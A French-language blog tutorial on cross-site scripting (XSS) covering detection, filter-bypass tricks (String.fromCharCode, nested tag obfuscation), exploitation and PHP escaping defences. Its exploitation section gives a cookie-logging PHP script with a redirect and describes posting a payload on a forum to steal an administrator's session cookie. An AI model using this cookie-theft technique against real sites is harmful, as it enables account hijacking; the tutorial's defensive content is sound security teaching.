Dernière mise à jour : 16 juillet 2022
Dans ce billet, je vais vous parler de la faille cross-site scripting, abrégé XSS. Nous allons voir ensemble comment exploiter cette faille et bien sûr comment s’en protéger.
Avant de commencer, je dois éclaircir une chose : plusieurs personnes sont entrain de penser que cette faille ça ne sert a rien. Et bien c’est faux. Croyez moi, la faille XSS est dangereuse, certes vous n’allez pas pouvoir prendre le le contrôle d'un serveur avec cette faille mais il facilite la tache à d’autres types attaques. Il faut simplement savoir comment s’en servir.
Qu'est-ce que La faille XSS ?
La faille XSS, a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), est un type de faille de sécurité des sites Web, que l'on trouve dans les applications Web mal sécurisé.
Le principe de cette faille est d'injecter un code malveillant en langage de javascript dans un site web vulnérable. Par exemple en déposant un message dans un forum qui redirige l’internaute vers un faux site (phishing) ou qui vole ses informations (cookies).
La faille XSS permet d’exécuter des scripts du coté client. Ceci signifie que vous ne pouvez exécuter que du JAVASCRIPT, HTML et d’autres langages qui ne vont s’exécuter que chez celui qui lance le script et pas sur le serveur directement. Je laisse votre imagination vous donner des idées.
Comment détecter la présence d'une faille XSS ?
Les XSS sont très répandue sur le web, plus précisément dans les forums, application web et les moteurs de recherches.
La détection de la présence d'une faille XSS peut se faire par exemple en entrant un script Javascript dans un champ de formulaire ou dans une URL :
Si une boîte de dialogue apparaît, on peut en conclure que l'application Web est sensible aux attaques de type XSS.
Pour bien comprendre le principe, rien ne vaut un exemple.
Supposons le code suivant :
<?php if (isset($_GET['mot_recherche']))
{
echo "Vous recherchez le mot suivant: ".$_GET['mot_recherche'];
}?>Recherche:
<form method="get" action="XSS.php">
<input type="text" name="mot_recherche"/>
<input type="submit" name="Submit" value="Envoyer" />
</form> </center>
Sur un navigateur web cela donnerait :
Comment contourner les filtres XSS ?
Dans la réalité, ça ne marche pas toujours comme ça. Les développeurs web ont conscience de cette attaque, alors ils ont développé des méthodes pour sécuriser leurs applications web contre cette faille. Je peux par exemple citer magic_quote_gpc.
Dans cette parti, je vais vous montrer comment contourner certains filtres utilisés par les développeurs pour sécuriser les applications web :
Filtre magic_quotes_gpc
Lorsque la fonction magic_quotes est activée, tous les caractères ' (apostrophes), " (guillemets), (antislash) et NULL sont remplacés par un antislash. La fonction "magic_quotes_gpc" permet de protéger les données envoyées par les méthodes "GET", "POST.
Par exemple si je j'entre le code suivant dans la barre de recherche et je clique sur envoyer:
Il devient:
Donc comment contourner ce filtre ? Il suffit d'utiliser la fonction javascript appelée String.fromCharCode().
Cette fonction va convertir notre texte en caractères décimaux.
Pour cela, je vais utiliser Hackbar, un plugin Firefox.
Utiliser "hack" (sans guillemet) ressemblera à ceci:
Miracle ça marche !
Technique d’Obfuscation
Ce filtre, par exemple bloque les mots suivants:
- script
- alert
Ici si nous mettons <script>alert(‘Hack’)</script> le site vas nous donner comme message alert() car il va enlever tout les <script> et </script>.
Pour contourner ce filtre, nous allons juste changer <script> par <scrscriptipt> et alert par alealertrt
comme ceci :
Une fois les bannières enlevées ça nous donne :
Et ça marche encore !
Il existe un plugin Firefox, XSS ME spécialisé dans la recherche de ce type de vulnérabilité.
Comment exploiter une faille XSS ?
Bon alors, comme nous venons de le voir, les failles XSS s’exécutent du côté client. Donc pour piéger une cible nous devons faire en sorte que l’administrateur du site exécute lui même notre script. Et après, nous devons récupérer son cookie.
Donc pour exploiter la faille XSS, il nous faut un script PHP qui va récupérer la valeur de la variable $cookie et l’écrit dans un fichier .txt.
Pour cela, créez un fichier sous le nom xss.php et mettez le code suivant :
$cookie = $_GET[‘a’]; // on reconnaît a en variable GET
if($cookie)
{
$fp = fopen(‘cookies.txt’,’a’); // On ouvre cookies.txt en édition
fputs($fp,$cook . ‘rn’);// On écrit le contenu du cookie sur une nouvelle ligne
fclose($fp); // On ferme le fichier cookies.txt
}?>
<script>
location.replace('http://www.google.fr);
// Rediriger la cible vers google.fr pour qu'il ne se doute de rien
</script>
Enregistrez le fichier xss.php, puis mettez le sur un serveur FTP qui supporte bien sur le PHP. Voila notre script est en place, il ne reste plus qu’a le tester.
Imaginons qu’en testant les techniques citées en haut sur un forum, où vous êtes un membre, vous détectez la présence d’une faille XSS et vous voulez utiliser le script PHP que nous avons crée.
Comment faire ?
Tout simplement vous postez un message sur le forum contenant le texte suivant:
En voyant le code, on comprend parfaitement qu’il y a ?a=, c’est la variable $_GET[‘a’] de notre code.
document.cookie représente le cookie de la victime.
Vous venez de récupérer le cookie de l’admin du forum mais que faire avec ?
A ce moment là que beaucoup de personne pensent que les failles XSS ne sont pas dangereuse mais ils se trompent largement.
Une fois que vous avez récupérez un cookie, vous allez pouvoir le mettre dans votre dossier avec vos cookies. Ensuite relancez votre navigateur web et vous pourriez accéder à la session de l’admin sans avoir besoin d'un mot de passe.
Se protéger de la faille XSS
Plusieurs techniques permettent se se protéger de la faille XSS :
- La fonction htmlspecialchars() convertit les caractères spéciaux en entités HTML.
- htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tout les caractères équivalents au codage html ou javascript.
- strip_tags(), cette fonction supprime toutes les balises.
J'espère que vous aurez pu apprendre quelque chose à travers cet article, et avoir compris le danger de la faille XSS !
Sinon pensez à partager ce billet sur Facebook ou Twitter, cela me ferait vraiment plaisir ! 😉